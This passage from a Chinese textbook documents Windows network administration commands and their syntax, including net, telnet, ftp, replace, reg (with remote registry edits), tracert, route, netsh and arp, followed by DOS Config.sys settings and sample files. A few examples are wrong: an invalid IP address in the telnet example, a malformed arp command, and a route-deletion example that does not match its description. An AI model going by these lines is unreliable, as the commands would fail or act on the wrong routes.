作用：启动服务或显示已启动服务的列表。不带参数则显示已打开服务，如图3-23所示。在需要启动一个服务时，只需在后边加上服务名称就可以了，如图3-24所示。

10.net pause

作用：暂停正在运行的服务。

命令格式：net pause server

图3-23　显示已启动的服务

图3-24　启动server服务

11.net stop

作用：停止Windows NT网络服务。

命令格式：net stop server

与net stop命令相反的命令是net start，net stop命令用于停止Windows NT网络服务，net start命令用于启动Windows NT网络服务。

12.net share

作用：创建、删除或显示共享资源。

命令格式：net share sharename=drive：path[/users：number|/unlimited][/remark："text"]

图3-25　本地计算机上所有共享资源的信息

·不带任何参数的net share命令，可用于显示本地计算机上所有共享资源的信息，如图3-25所示。

·sharename：共享资源的网络名称。

·drive：path：指定共享目录的绝对路径。

·/users：number：设置可以同时访问共享资源的最大用户数。

·/unlimited：不限制同时访问共享资源的用户数。

·/remark："text"：添加关于资源的注释，注释文字用引号引住。

·/delete：停止共享资源。

13.net session

作用：列出或断开本地计算机和与其相连接的客户端，也可写为net sessions或net sess。

命令格式：net session[\\computername][/delete]

·输入不带参数的net session显示所有与本地计算机的会话信息。

·\\computername：标识要列出或断开会话的计算机。

·delete结束与\\computername计算机的会话，并关闭本次会话期间计算机的所有连接。

14.net send

作用：向网络的其他用户、计算机或通信名发送消息。如用“net send/users server will shutdown in 10 minutes”命令给所有连接到服务器的用户发送消息。

命令格式：net send{name|*|/domain[：name]|/users}message

·name：要接收发送消息的用户名、计算机名或通信名。

·*：将消息发送到组中的所有名称。

·/domain[：name]：将消息发送到计算机域中的所有名称。

·/users：将消息发送到与服务器连接的所有用户。

·message：作为消息发送的文本。

15.net print

作用：显示或控制打印作业及打印队列。

命令格式：net print[\computername]job#[/hold|/release|/delete]

·computername：共享打印机队列的计算机名。

·job#：在打印机队列中分配给打印作业的标识号。

·/hold：使用job#时，在打印机队列中使打印作业等待。

·/release：释放保留的打印作业。

·/delete：从打印机队列中删除打印作业。

16.net name

作用：添加或删除消息名或显示计算机接收消息的名称列表。

命令格式：net name[name[/add|/delete]]

·输入不带参数的net name列出当前使用的名称。

·name：指定接收消息的名称。

·/add：将名称添加到计算机中。

·/delete：从计算机中删除名称。

3.2.4　23端口登录的Telnet命令

Telnet是传输控制协议/互联网协议（TCP/IP）网络（如Internet）的登录和仿真程序，主要用于Internet会话。基本功能是允许用户登录进入远程主机系统。

常用的Telnet命令

Telnet命令的格式为：Telnet+空格+IP地址/主机名称。

例如：“Telnet 192.168.1.10380”命令如果执行成功，则将从IP地址为192.168.1.10380的远程计算机上得到Login：提示符，如图3-26所示。

图3-26　连接远程计算机

当Telnet成功连接到远程系统上时，将显示登录信息并提示用户输入用户名和口令。如果用户名和口令输入正确，则成功登录并在远程系统上工作。在Telnet提示符后可输入很多命令来控制Telnet会话过程。在Telnet提示下输入“？”，屏幕显示Telnet命令的帮助信息。

3.2.5　传输协议FTP命令

FTP命令是Internet用户使用最频繁的命令之一，通过FTP命令可将文件传送到正在运行FTP服务的远程计算机上，或从正在运行FTP服务的远程计算机上下载文件。在“命令提示符”窗口中运行“FTP”命令，即可进入FTP子环境窗口。或在“运行”对话框中运行“ftp”命令，也可进入FTP子环境窗口，如图3-27所示。

图3-27　进入FTP子环境窗口

FTP的命令行格式为：ftp-v-n–d-g[主机名]。

·–v：显示远程服务器的所有响应信息。

·–n：限制FTP的自动登录，即不使用。

·–d：使用调试方式。

·–g：取消全局文件名。

3.2.6　替换重要文件的replace命令

当需要用源目录中的文件替换目标目录中的同名文件时，利用replace命令，即可把唯一的文件名添加到目标目录中去。

1.语法

REPLACE [drive1:] [path1] filename [drive2:] [path2] [/A] [/P] [/R] [/W]

REPLACE [drive1:] [path1] filename [drive2:] [path2] [/p] [/R] [/s] [/w] [/U]

2.参数说明

·[drive1：][path]filename：指定源文件或源文件组的位置和文件名。

·[drive2：][path2]：指定目标文件的位置，但不能为要替换的文件指定文件名。如果既没有指定一个驱动器，也没有指定一个目录，replace命令则将当前驱动器和当前目录作为目标作用。

·/A：把新文件添加到目标目录，而不是替换现有的文件，不能将/S和/U开关一起使用。

·/p：在替换一个目标文件或添加一个源文件之前，提示是否确认。

·/R：将只读文件视同未受保护的文件进行替换。如果没有指定本开关，而又试图替换一个只读文件，就会出现一个错误结果，同时终止替换操作。

·/s：搜索目标目录的所有子目录，并替换匹配的文件。不得将/s与/A开关一起使用。replace命令不搜索path1参数中指定的子目录。

·/W：在replace命令开始搜索源文件之前，等待插入磁盘。如果没有指定/W开关，则replace命令在按了回车键后，将立即开始替换文件或添加文件。

·/U：只替换（更新）目标目录中那些比源目录中的文件还要旧的文件。

退出码说明：

·0：replace命令成功替换或添加了文件。

·1：replace命令遇到了MS-DOS的错误版本。

·2：replace命令找不到源文件。

·3：replace命令找不到源或目标路径。

·5：用户没有访问要替换的文件。

·8：系统内存不足以执行该命令。

·11：用户在命令行上使用了错误的语法。

3.典型示例

下面介绍几个replace命令应用的具体实例。

1）假定驱动器C上多个目录包含一个名为Phones.cli的文件的不同版本，该文件包含客户姓名和电话号码。要使用驱动器A中最新版本的Phones.cli文件替换所有这些文件，请键入“replace a：\phones.cli c：\/s”命令。

2）假若将新的打印机设备驱动程序添加到驱动器C上名为Tools的目录中，该目录已包含多个字处理程序的打印机设备驱动程序文件，应键入“replace a：*.prd c：\tools/a”命令。该命令可搜索驱动器A上的当前路径，查找所有扩展名为.prd的文件，并将这些文件添加到驱动器C的Tools目录中。因为包含/a命令行选项，所以replace只添加A驱动器上有而C驱动器中不存在的文件。

3.2.7　远程修改注册表的reg命令

编辑注册表不当可能会严重损坏系统。在更改注册表之前，应备份计算机上任何有价值的数据。只有在别无选择的情况下，才直接编辑注册表。注册表编辑器会忽略标准的安全措施，从而使得这些设置会降低性能、破坏系统，甚至要求用户重新安装Windows系统。可以利用“控制面板”或“Microsoft管理控制台（MMC）”中的程序，安全更改多数注册表设置。如果必须直接编辑注册表，则请先将其备份。

使用reg命令直接编辑本地或远程计算机的注册表，这些更改有可能造成计算机无法操作并需要重新安装操作系统，所以不需要直接编辑注册表。

1.reg add

功能：将新的子项或项添加到注册表中。

语法：reg add keyname[/v entryname|/ve][/t DataType][/s separator][/d value][/f]

·keyname：指定子项的完全路径。对于远程计算机，则应在\\computername\path Tosubkey中的子项路径前包含计算机名称。忽略computerName会导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为HKLM、HKCU、HKCR、HKU以及HKCC。

·/v entryname：指定要添加到指定子项下的项名称。

·/ve：指定添加到注册表中的项为空值。

·/t DataType：指定项值的数据类型。

·/s separator：指定用于分隔多个数据实例的字符。

·/d value：指定新注册表项的值。

·/f：不用询问信息而直接添加子项或项。

该操作不能添加子树。该版本的reg在添加子项时无需请求确认。reg add操作的返回值有0（成功）、1（失败）两种。

要将一个注册表项添加到HKLM\SOFTWARE\MyCo中（其中的选项为值名Data；类型为REG_BINARY；数值数据为fe340ead），则应键入“REG ADD HKLM\SOFTWARE\MyCo/v Data/t REG_BINARY/d fe340ead”命令。

要将一个多值注册表项添加到HKLM\SOFTWARE\MyCo中（其中的选项是值名为MRU；数据类型为REG_MULTI_SZ；数值数据为fax\0mail\0\0），则应键入“REG ADD HKLM\SOFT WARE\MyCo/v MRU/t REG_MULTI_SZ/d fax\0mail\0\0”命令。

要将一个扩展的注册表项添加到HKLM\SOFTWARE\MyCo中（其中的选项是值名为Path；数据类型为REG_EXPAND_SZ；数值数据为%systemroot%），则应键入“REG ADD HKLM\SOFTWARE\MyCo/v Path/t REG_EXPAND_SZ/d^%systemroot^%”命令。

2.reg compare

功能：比较指定的注册表子项或项。

语法：reg compare KeyName1 KeyName2[{/v ValueName|/ve}][{/oa|/od|/os|on}][/s]

·KeyName1：指定要比较的第一个子项的完整路径。要指定远程计算机，请包括计算机名（以\\ComputerName\格式表示），并将其作为KeyName的一部分。省略\\Computer Name\会导致默认对本地计算机的操作。KeyName必须包括一个有效的根键。有效根键包括HKLM、HKCU、HKCR、HKU、HKCC等。如果指定了远程计算机，则有效根键是HKLM和HKU。

·KeyName2：指定要比较的第二个子项的完整路径。要指定远程计算机，请包括计算机名（以\\ComputerName\格式表示），并将其作为KeyName的一部分。省略\\ComputerName\会导致默认对本地计算机的操作。只在KeyName2中指定计算机名会导致该操作使用到KeyName1中指定的子项的路径。KeyName必须包括一个有效根键。有效根键包括HKLM、HKCU、HKCR、HKU、HKCC等。如果指定了远程计算机，则有效根键是HKLM和HKU。

·/v ValueName：指定要比较的子项下的值名称。

·/ve：指定只比较值名称为null的项。

·/oa：指定显示所有不同点和匹配点。默认情况下，仅列出不同点。

·/od：指定仅显示不同点。这是默认操作。

·/os：指定仅显示匹配点。默认情况下，仅列出不同点。

·/on：指定不显示任何内容。默认情况下，仅列出不同点。

·/s：递归地比较所有子项和项。

要将MyApp项下所有值与SaveMyApp项下所有值进行比较，则可以输入“REG COMPARE HKLM\Software\MyCo\MyApp HKLM\Software\MyCo\SaveMyApp”命令。

要比较MyCo项下Version值和MyCo1项下的Version值，请键入“REG COMPARE HKLM\Software\MyCo HKLM\Software\MyCo1/v Version”命令。

要将计算机ZODIAC上HKLM\Software\MyCo下的所有子项和值，与当前计算机上HKLM\Software\MyCo下的所有子项和值进行比较，请键入“REG COMPARE\\ZODIAC\HKLM\Software\MyCo\\/s”命令。

3.reg copy

功能：将一个注册表项复制到本地或远程计算机的指定位置。

语法：reg copy KeyName1 KeyName2[/s][/f]

·KeyName1：指定要复制子项的完整路径。要指定远程计算机，请包括计算机名（以\\ComputerName\格式表示），并将其作为KeyName的一部分。省略\\ComputerName\会导致默认对本地计算机的操作。KeyName必须包括一个有效的根键。有效根键包括HKLM、HKCU、HKCR、HKU、HKCC。如果指定了远程计算机，则有效根键是HKLM和HKU。

·KeyName2：指定子项目的地的完整路径。要指定远程计算机，请包括计算机名（以\\ComputerName\格式表示），并将其作为KeyName的一部分。省略\\ComputerName\会导致默认对本地计算机的操作。KeyName必须包括一个有效的根键。有效根键包括HKLM、HKCU、HKCR、HKU、HKCC。如果指定了远程计算机，则有效根键是HKLM和HKU。

·/s：复制指定子项下的所有子项和项。

·/f：不要求确认而直接复制子项。

在复制子项时reg不请求确认。reg copy操作的返回值有两种（0成功，1失败）。

要将MyApp项下的所有子项和值，复制到SaveMyApp项，则可以键入“REG COPY HKLM\Software\MyCo\MyApp HKLM\Software\MyCo\SaveMyApp/s”命令。

要将计算机ZODIAC上MyCo项下的所有值，复制到当前计算机上的MyCo1项，则可以键入“REG COPY\\ZODIAC\HKLM\Software\MyCo HKLM\Software\MyCo1”命令。

4.reg delete

功能：从注册表删除子项或项。

语法：Reg delete KeyName[{/v ValueName|/ve|/va}][/f]

·KeyName：指定要删除的子项或项的完整路径。要指定远程计算机，包括计算机名（以\\ComputerName\格式表示），并将其作为KeyName的一部分。省略\\ComputerName\会导致默认对本地计算机的操作。KeyName必须包括一个有效根键。有效根键包括HKLM、HKCU、HKCR、HKU、HKCC。如果指定了远程计算机，则有效根键是HKLM和HKU。

·/v ValueName：删除子项下的特定项。如未指定项，则将删除子项下的所有项和子项。

·/ve：指定只可以删除为空值的项。

·/va：删除指定子项下的所有项。使用本参数不能删除指定子项下的子项。

·/f：无需请求确认而删除现有的注册表子项或项。

要删除注册表项Timeout及其所有子项和值，则可以键入“REG DELETE HKLM\Soft ware\MyCo\MyApp\Timeout”命令。

要删除计算机ZODIAC上HKLM\Software\MyCo下的注册表值MTU，则可以键入“REG DELETE\\ZODIAC\HKLM\Software\MyCo/v MTU”命令。

3.3　其他的网络命令

任何一个网络管理员，都必须掌握网络管理构成中经常用到的一些管理命令和工具。网络管理是任何一个网络得以正常运行的保障，依据规模大小、重要性、复杂程度不同，网络管理的重要性也会有所差异，同时对网络管理人员的技术水平要求也会有所不同。但任何一个网络管理员，都必须掌握网络管理构成中经常用到的一些管理命令和工具。

3.3.1　tracert命令

tracert（跟踪路由）是路由跟踪实用程序，用于确定IP数据报访问目标所采取的路径。Tracert命令用IP生存时间（TTL）字段和ICMP错误消息，来确定从一个主机到网络上其他主机的路由。

命令格式：tracert[-d][-h MaximumHops][-j Hostlist][-w Timeout][TargetName]

·-d：防止tracert试图将中间路由器的IP地址解析为它们的名称。这样可加速显示tracert的结果。

·-h MaximumHops：在搜索目标（目的）路径中指定跃点最大数。默认值为30个跃点。

·-j HostList：指定“回响请求”消息对于在主机列表中指定的中间目标集使用IP报头中的“松散源路由”选项。可以由一个或多个具有松散源路由的路由器分隔开连续的中间目的地。主机列表中的地址或名称的最大数为9。主机列表是一系列由空格分开的IP地址（用带点的十进制符号表示）。

·-w Timeout：指定等待“ICMP已超时”或“回响答复”消息（对应于要接收的给定回响请求消息）的时间（以毫秒为单位）。如果超时时间内未收到消息，则显示一个星号（*）。默认的超时时间为4000（4 s）。

·TargetName：指定目标，可以是IP地址或主机名。

tracert诊断工具通过向目标发送具有变化的“生存时间（TTL）”值的“ICMP回响请求”消息，来确定到达目标的路径。要求路径上每个路由器在转发数据包之前，至少将IP数据包中的TTL递减1。这样，TTL就成为最大链路计数器，数据包上的TTL到达0时，路由器应将“ICMP已超时”的消息发送回源计算机。

tracert发送TTL为1的第一条“回响请求”消息，并在随后的每次发送过程中将TTL递增1，直到目标响应或跃点达到最大值，从而确定路径，在默认情况下，跃点的最大数量是30，可使用-h参数指定。

检查中间路由器返回的“ICMP已超时”消息与目标返回的“回显答复”消息可确定路径。但某些路由器不会为其TTL值已过期的数据包返回“已超时”消息，而且这些路由器对于tracert命令不可见。在这种情况下，将为该跃点显示一行星号（*）。

要跟踪路径并为路径中的每个路由器、链路提供网络延迟、数据包丢失信息，请使用pathping命令。只有当“Internet协议（TCP/IP）”协议在“网络连接”中安装为网络适配器属性的组件时，该tracert命令才可用。

如果要想追踪到腾讯网（ www.qq.com ）的路由，证明局域网络和Internet连接是否正常，则应输入命令： tracert www.qq.com ，命令执行完成后的结果如图3-28所示。从运行结果可知，局域网可以正常连接至Internet，实现对腾讯网的访问。同时，可以显示该链路中所有路由器设备的IP地址。

若想要追踪到清华大学（ www.tsinghua.edu.cn ）的路由，判断故障所在，应在命令提示符下输入“tracert  www.tsinghua.edu.cn ”命令，命令执行后的结果如图3-29所示。

图3-28　追踪到腾讯网路由

图3-29　追踪到清华大学路由

3.3.2　route命令

route命令的作用是手动配置路由表，在本地IP路由表中显示和修改条目。它是网络管理工作中应用较多的工具，使用不带参数的route命令可以显示其帮助信息。

命令格式：route[-f][-p][Command[Destination][mask Netmask][Gateway][metric Metric][if Interface]]

·-f：清除所有不是主路由（网掩码为255.255.255.255的路由）、环回网络路由（目标为127.0.0.0，子网掩码为255.255.255.0的路由）或多播路由（目标为224.0.0.0，子网掩码为240.0.0.0的路由）的条目的路由表。如果它与命令之一（如add、change或delete）结合使用，路由表会在运行命令之前清除。

·-p：与add命令共同使用时，指定路由被添加到注册表并在启动TCP/IP协议时初始化IP路由表。默认情况下，启动TCP/IP协议时不会保存添加的路由。与print命令一起使用时，则显示永久路由列表。所有其他命令都忽略此参数。永久路由存储的注册位置是HKLM\\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\PersistentRoutes。

·Command：指定要运行的命令。

·Add：添加路由。

·Change：更改现存路由。

·Delete：删除路由。

·Print：打印路由。

·Destination：指定路由的网络目标地址。目标地址可以是一个IP网络地址（其中网络地址的主机地址设置为0），对于主机路由是IP地址，对于默认路由是0.0.0.0。

·mask subnetmask：指定与网络目标地址相关联的网掩码（又称之为子网掩码）。子网掩码对于IP网络地址可以是一适当的子网掩码，对于主机路由是255.255.255.255，对于默认路由是0.0.0.0。如果忽略，则使用子网掩码255.255.255.255。定义路由时由于目标地址和子网掩码之间的关系，目标地址不能比它对应的子网掩码更为详细。换句话说，如果子网掩码的一位是0，则目标地址中的对应位就不能设置为1。

·Gateway：指定超过由网络目标和子网掩码定义的可达到的地址集的前一个或下一个跃点IP地址。对于本地连接的子网路由，网关地址是分配给连接子网接口的IP地址。对于要经过一个或多个路由器才可用到的远程路由，网关地址是一个分配给相邻路由器的、可直接达到的IP地址。

·metric Metric：为路由指定所需跃点数的整数值（范围是1~9999），它用来在路由表里的多个路由中选择与转发包中的目标地址最为匹配的路由。所选的路由具有最少的跃点数。跃点数能够反映跃点的数量、路径的速度、路径可靠性、路径吞吐量以及管理属性。

·If Interface：指定目标可以到达的接口的接口索引。使用route print命令可以显示接口及其对应接口索引的列表。对于接口索引可以使用十进制或十六进制的值。对于十六进制值，要在十六进制数的前面加上0x。忽略if参数时，接口由网关地址确定。

如果是print或delete命令，可以忽略Gateway参数，使用通配符来表示目标和网关。Destination的值可以是由星号（*）指定的通配符。如果指定目标含有一个星号（*）或问号（？），它被看作是通配符，只打印或删除匹配的目标路由。星号代表任意一字符序列，问号代表任一字符。例如，10.*.1，192.168.*、127.*和*224*都是星号通配符的有效使用。只有当网际协议（TCP/IP）在网络连接中安装为网络适配器属性的组件时，该命令才可用。

如果要显示路由表中的当前项目，则应在命令提示符下键入“Route print”命令，执行结果如图3-30所示。由于用IP地址配置了网卡，因此，所有这些项目都是自动添加的。

如果想要显示IP路由表中以192开始的路由，则应在命令提示符下键入“Route print 192.*”命令，运行结果显示如图3-31所示。

图3-30　显示路由表中的当前项目

图3-31　显示路由表中以192开始的路由

如果想要删除目标为192.168.0.0，子网掩码为255.255.0.0的路由，则应输入“route delete 192.168.0.0 mask 255.255.0.0”命令。

如果想要删除IP路由表中以10开始的所有路由，则应输入“route delete 192.*”命令。

3.3.3　netsh命令

netsh是本地或远程计算机Windows 2000网络组件的命令行和脚本实用程序。为了存档或配置其他服务器，netsh实用程序也可将配置脚本保存在文本文件中。netsh实用程序是一个外壳，通过附加的“netsh帮助DLL”可支持多个Windows 2000组件。

有两种方式可以运行netsh命令，具体的介绍如下。

1.从cmd.exe命令提示符下运行netsh命令

从cmd.exe命令提示符下可以运行netsh命令。若想在远程Windows2000/2003 Server上运行这些netsh命令，必须先使用“远程桌面连接”连接到运行终端服务器的Windows 2000/2003 Server、Windows 2000和Windows Server 2003中，netsh上下文命令间存在一些功能上的差异。

netsh是一个命令行脚本实用程序，可让用户从本地或远程显示/修改当前运行的计算机的网络配置。使用不带参数的netsh可以打开netsh.exe命令提示符（即netsh>）。

命令格式：netsh[-a aliasfile][-c context][-r remotecomputer][{netshcommand|-f scriptfile}]

·-a：运行aliasfile后返回到Netsh提示符。

·aliasfile：指定包含一个或多个netsh命令的文本文件的名称。

·-c：更改到指定的netsh上下文。

·Context：指定netsh上下文。

·-r：配置远程计算机。

·RemoteComputer：指定要配置的远程计算机。

·NetshCommand：指定要运行的netsh命令。

·-f：运行脚本后退出netsh.exe。

·scriptFile：指定要运行的脚本。

如果指定-r后跟另一个命令，则netsh将在远程计算机上执行该命令，再返回到cmd.exe命令提示符下。如果指定-r后不跟其他命令，则netsh将以远程模式打开，该过程类似于在netsh命令提示符下使用set machine命令。使用-r时，仅为netsh的当前示例设置目标计算机。在退出并重新输入netsh之后，目标计算机将被自动重置为本地计算机。可通过指定存储在Windows中的计算机名称、UNC名称和一个由DNS服务器解析的Internet名或数字IP地址，在远程计算机上运行netsh命令。

2.从netsh.exe命令提示符下运行netsh命令

用户可以从netsh.exe命令提示符（即netsh>）下运行这些命令。常见命令的含义如下：

·..：到上一级的上下文。

·abort：脱机模式下进行的所有更改。abort在联机模式中不起作用。

·add helper：装入netsh中的帮助程序DLL。

·alias：由用户定义的字符串组成的别名，netsh将用户定义的字符串与其他字符串同等处理。使用没有参数的alias可以显示所有可用的别名。

·bye：退出netsh.exe命令窗口。

·commit：脱机模式下所作的全部更改提交到路由器。commit在联机模式下无效。

·delete helper：在netsh命令中删除帮助程序DLL。

·dump：建一个包含当前配置的脚本。如果将该脚本保存到文件中，则可使用该文件恢复已更改的配置设置。

·exec：载脚本文件并执行其中的命令。

·exit：退出netsh.exe命令返回至CMD命令行提示符。

·popd：与pushd一起使用时，popd使用户能够更改上下文，在新的上下文中运行命令，再返回到先前的上下文。

1）netsh命令设置了2个脚本netsh别名（shaddr和shp），在退出InterfaceIP上下文时，在netsh命令提示符下可输入“alias shaddr show interface ip addr”命令和“Alias shp helpers”命令，执行结果如图3-32所示。当以后再在netsh命令提示符下键入“shaddr”命令，netsh.exe会将其解释为命令show interface ip addr。如果在netsh命令提示符下键入“shp”命令，则netsh.exe会将其解释为命令show helpers。如果想要退出netsh.exe返回至CMD命令行提示符，则可键入“exit”命令，执行结果如图3-33所示。

2）强制卸载TCP/IP协议。对于很多网络故障而言，卸载并重新安装TCP/IP协议是一种非常有效的解决办法，此时可借助Windows系统的netsh命令，将TCP/IP协议的工作状态恢复到操作系统安装时的原始状态，也相当于把当前的TCP/IP协议卸载掉，并重新安装新的TCP/IP协议。

在命令提示符窗口中输入“netsh”命令之后，再输入“int ip reset new.txt”命令，即可自动重新安装TCP/IP协议并将操作的记录保存在当前目录的“new.txt”日志文件中。再重新打开TCP/IP协议的属性设置窗口之后，检查其中的各项网络参数，查看是否已经被恢复到原始状态，并对TCP/IP协议的各项参数进行重新设置。

图3-32　设置别名窗口

图3-33　退出netsh.exe窗口

3.3.4　ARP命令

按照缺省设置，ARP高速缓存中的项目是动态的，每当发送一个指定地点的数据报且高速缓存中不存在当前项目时，ARP便会自动添加该项目。一旦高速缓存的项目被输入，就已经开始走向失效状态。因此，如果ARP高速缓存中的项目很少或根本没有时，请通过另一台计算机或路由器的ping命令添加。需要通过ARP命令查看高速缓存中的内容时，最好先ping此台计算机。

命令格式：arp[-a[InetAddr][-N IfaceAddr]][-g[InetAddr][-N IfaceAddr]][-d InetAddr[IfaceAddr]][-s InetAddr EtherAddr[IfaceAddr]]

·-a[InetAddr][-N IfaceAddr]：显示所有接口的当前ARP缓存表。要显示特定IP地址的ARP缓存项，请使用带有InetAddr参数的arp-a，此处的InetAddr代表IP地址。如果未指定InetAddr，则使用第一个适用的接口。要显示特定接口的ARP缓存表，请将-N IfaceAddr参数与-a参数一起使用，此处的IfaceAddr代表指派给该接口IP地址。-N参数区分大小写。

·-g[InetAddr][-N IfaceAddr]：与-a相同。

·-d InetAddr[IfaceAddr]：删除指定的IP地址项，此处的InetAddr代表IP地址。对于指定的接口，要删除表中的某项，请使用IfaceAddr参数，此处的IfaceAddr代表指派给该接口的IP地址。要删除所有项，请使用星号（*）通配符代替InetAddr。

·-s InetAddr EtherAddr[IfaceAddr]：向ARP缓存添加可将IP地址InetAddr解析成物理地址EtherAddr的静态项。要向指定接口的表添加静态ARP缓存项，请使用IfaceAddr参数，此处的IfaceAddr代表指派给该接口的IP地址。

如果想要显示所有接口的ARP缓存表，则应键入“arp-a”命令，运行结果如图3-34所示。如果想要添加将IP地址192.168.0.0解析成物理地址00-AA-00-4F-2A-9C的静态ARP缓存项，则应键入“arp–s 192.168.0.0-AA-00-4F-2A-9C”命令，运行结果如图3-35所示。

图3-34　显示接口缓存表

图3-35　添加静态ARP缓存项

注意

InetAddr和IfaceAddr的IP地址用带圆点的十进制记数法表示。EtherAddr的物理地址由六个字节组成，这些字节用十六进制记数法表示且用连字符隔开（比如，00-AA-00-4F-2A-9C）。通过-s参数添加的绑定项属于静态项，它们不会造成ARP缓存超时而消失，只有终止TCP/IP后再启动，这些项才会被删除。要创建永久的静态ARP缓存项，在批处理文件中使用ARP命令创建，并通过“计划任务程序”在启动时运行该批处理文件。只有将TCP/IP安装为网卡的属性组件时，该ARP命令才可以使用。

第4章　Windows系统命令行配置

在Windows系统中命令行起着非常重要的作用，Windows命令行最大的特点是对网络管理的方便性，管理员只需输入几个命令，就可以完成繁杂的操作。在启动计算机时，如果需要运行Config.sys文件，就需要对文件Config.sys进行配置。

主要内容：

●Config.sys文件配置

●对硬盘进行分区

●总结与经验积累

●批处理与管道

●可能出现的问题与解决方法

4.1　Config.sys文件配置

Config.sys是DOS系统中的一个重要文件，其配置会影响到系统的使用及其效率。如果配置不当，可能很多程序都无法正常运行。因此，正确合理地配置Config.sys文件是非常必要和重要的。

4.1.1　Config.sys文件中的命令

Config.sys是包含在DOS中的一个文本文件命令，可以控制计算机操作系统进行初始化。在通常情况下，Config.sys命令制定内存设备驱动和程序，以控制硬件设备、开启或禁止系统特征以及限制系统资源。Config.sys在Autoexec.bat（自动批处理程序）文件执行前载入。由于Config.sys是一个文本文件，所以它可以使用文本编辑程序编辑。

Config.sys中的命令及其配置方法如下。

·ACCDATE：指定对每一个驱动器是否记录文件最后被访问的日期。

用法：ACCDATE=驱动器1+|-[驱动器2+|-]...

如：ACCDATE=C+D+E+将在C，D，E盘中记录文件最后被访问的日期。

此命令仅用于MS-DOS 7.x中。

·BREAK：设置或清除扩展的Ctrl+C检查。

用法：BREAK=ON|OFF

·BUFFERS/BUFFERSHIGH：为指定数量的磁盘缓冲区分配内存。

用法：BUFFERS=磁盘缓冲区数量，[从属高速缓存中的缓冲区数量]

·DEVICE/DEVICEHIGH：将指定的设备驱动程序装入内存。

用法：DEVICE/DEVICEHIGH文件名[参数]

其中，文件名是文件的完整路径，如C：\DOS\HIMEM.SYS。

·DOS：用于DOS系统的配置，如是否使用HMA（高端内存区）等。

用法：DOS=[HIGH|LOW][，UMB|，NOUMB][，AUTO|，NOAUTO][，SINGLE]其中，HIGH和LOW表示使用HMA或不使用HMA，UMB和NOUMB表示使用UMB或不使用UMB，AUTO或NOAUTO表示系统自动配置或不自动配置，SINGLE表示使用单一模式的DOS。其中，AUTO/NOAUTO和SINGLE仅用于MS-DOS 7.x中。

·DRIVPARM：设置现有物理设备的参数。

·FCBS/FCBSHIGH：指定可以同时打开的文件控制块（FCB）的数量。

用法：FCBS/FCBSHIGH=可以同时打开的FCB数量。

由于FCB主要在DOS 1.x中使用，对于高版本，可以让系统自动配置。

·FILES/FILESHIGH：指定可以同时访问的文件数量。

用法：FILES/FILESHIGH=可以同时访问的文件数量。

一般FILES/FILESHIGH的设置值在30左右比较合适。

·INSTALL/INSTALLHIGH：用于加载TSR（内存驻留程序）。

用法：INSTALL/INSTALLHIGH=文件名[参数]

如：INSTALLHIGH=C：\DOS\DOSKEY.COM/APPEDIT

·LASTDRIVE/LASTDRIVEHIGH：指定可以访问的驱动器最后有效驱动器字母。

用法：LASTDRIVE=驱动器字母

如LASTDRIVE=F会将F设置成最后有效的驱动器字母。

·NUMLOCK：指定启动时NUMLOCK指示灯是否打开。

用法：NUMLOCK=ON|OFF

·REM：添加注解。

用法：REM[注解字符串]

注解中的字符串只用来增加可读性，将不被执行。

·SET：设计DOS环境变量。

用法：SET变量=[变量值]

·SHELL：指定DOS使用的命令解释程序的名称和位置。

用法：SHELL=文件名[参数]

文件名默认是COMMAND.COM，也可以指定其他的文件，如4DOS.EXE等。

·STACK/STACKHIGH：指定使用的堆栈数量。

用法：STACK/STACKHIGH=堆栈数量，每个堆栈的大小

通常指定的值是9256，这个值可以满足大多数的需求。

·SWITCHES：指定一些特殊选项。

用法：SWITCHES=[/W][/F][/K][/N][/E[：n]]

其他的是一些菜单配置命令，如MENUITEM，MENUCOLOR等。

在MS-DOS 7.x中还有一些未公开命令，如LOGO，COMMENT等。

4.1.2　Config.sys配置实例

在了解上述命令的基础上，可以利用这些命令来配置Config.sys文件，因为配置的好坏直接影响着系统性能。

例1：使用EMM386.EXE，具体的文件配置内容如下。

device=d:\dos\echo.sys L/o/a/d/i/n/g CONFIG.SYS...

device=d:\dos\himem.sys 

device=d:\dos\emm386.exe noems novcpi i=b600-b7ff 

devicehigh=d:\dos\mdctools\setver.exe 

devicehigh=d:\dos\ifshlp.sys 

devicehigh=d:\dos\vide-cdd.sys /d:IDE-CD 

devicehigh=d:\dos\cloaking.exe 

country=086,936,d:\dos\country.sys 

shell=c:\command.com /p /e:640 

set temp=e:\temp 

set tmp=e:\temp 

accdate=c+ d+ e+ 

dos=high,umb,auto 

numlock=off 

files=30 

buffershigh=30,0 

fcbshigh=4,0 

lastdrivehigh=n 

stackshigh=9,256

例2：使用UMBPCI.SYS，具体的文件配置内容如下。

device=d:\dos\echo.sys L/o/a/d/i/n/g CONFIG.SYS... 

device=d:\dos\echo.sys 

device=d:\dos\umbpci.sys 

device=d:\dos\hiram.exe 

devicehigh=d:\dos\himem.sys 

devicehigh=d:\dos\setver.exe 

devicehigh=d:\dos\ifshlp.sys 

devicehigh=d:\dos\vide-cdd.sys /d:IDE-CD 

shell=d:\dos\command.com /p /e:640 

set temp=e:\temp 

set tmp=e:\temp 

accdate=c+ d+ e+ 

dos=high,umb,auto 

country=086 

numlock=off 

fileshigh=30 

buffershigh=30,0 

stackshigh=9,256 

lastdrivehigh=n

4.1.3　Config.sys文件中常用的配置项目

一些在Config.sys文件中经常用到的配置项目如下：

1.FILES＝数字

表示可同时打开的文件数，一般可选择20~50。但如果把FILES的值设得过大，则会占用过多的基本内存。系统缺省值为FILES=8。

2.BUFFERS＝数字

表示设置磁盘缓冲区的数目，通常设置为20~30，缺省值一般为15。磁盘缓冲区是一块内存区，用于存储从磁盘读入的数据或存储写到磁盘的数据。

3.DEVICE和DEVICEHIGH

用于加载一些内存驻留程序，用于管理设备。比如内存管理程序和光驱驱动程序等。如：

DEVICE=C:\DOS\HIMEM.SYS 

DEVICE=C:\DOS\EMM386.EXE RAM 

DEVICEHIGH=C:\CDROM\CDROM.SYS 

DEVICEHIGH与DEVICE的区别在于前者将程序加载入高端内存。

4.HIMEM.SYS和EMM386.EXE

DOS只能直接使用640 KB的内存，即基本内存，必须依靠其他内存管理程序来使用更多的内存，这两条命令就是最常用的内存管理程序。其中，640 KB到1 MB之间的内存被称为高端内存，是系统保留使用的，1 MB以上的内存称为扩展内存，HIMEM.SYS就是负责管理扩展内存的。

EMM386.EXE负责管理高端内存，并在扩展内存中模拟扩充内存供某些软件使用。因此，为了使用更多的内存，配置文件中应有如下指令：

